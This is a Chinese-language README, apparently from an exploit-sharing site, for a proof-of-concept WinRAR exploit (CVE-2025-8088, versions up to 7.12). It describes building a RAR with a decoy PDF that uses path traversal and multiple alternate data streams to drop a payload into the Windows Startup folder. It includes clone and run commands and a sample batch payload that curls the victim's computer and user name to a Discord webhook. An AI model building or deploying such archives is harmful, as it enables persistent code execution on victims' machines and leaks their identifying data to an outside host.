CVE-2025-8088 WinRAR 漏洞利用 🔓

一个针对 WinRAR 漏洞（CVE-2025-8088）的概念验证利用程序，影响版本 7.12 及更低版本。该工具创建一个恶意 RAR 存档，通过路径遍历将有效载荷嵌入备用数据流（ADS），可能导致任意代码执行。

• 其他许多工具存在的问题是它们不嵌入多个 ADS 流，需要要么有正确的路径遍历的运气，要么知道确切的用户名/解压目录。

🚀 工作原理

1. 创建诱饵文档 📄 - 生成专业外观的 PDF（简历或渗透测试报告）
2. 嵌入多个 ADS 流 🔄 - 以不同的路径遍历深度附加有效载荷流
3. 操纵 RAR 标头 ⚙️ - 修改存档结构以利用路径遍历漏洞
4. 将有效载荷写入启动文件夹 📂 - 解压时尝试将有效载荷写入 Windows 启动文件夹

🛠️ 使用方法

# 克隆仓库
git clone https://github.com/pentestfunctions/best-CVE-2025-8088.git
cd best-CVE-2025-8088

# 安装依赖
pip install reportlab

# 运行利用程序
python CVE-2025-8088.py

✏️ 有效载荷自定义

编辑有效载荷以调用 Discord Webhook：

# 替换脚本中的 PAYLOAD 变量：
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"在 %COMPUTERNAME% 上被 %USERNAME% 提取\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

将 YOUR_DISCORD_WEBHOOK_URL 替换为你实际的 Webhook URL。

🔄 执行流程

1. 受害者使用存在漏洞的 WinRAR（≤7.12）解压 RAR 文件
2. 有效载荷被写入启动文件夹：
   root@kitploit:~

   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   

3. 下次重启时 ➡️ 有效载荷自动执行

📋 要求

• Windows 操作系统 🪟
• Python 3.x 🐍
• 已安装 WinRAR
• ReportLab 库（pip install reportlab）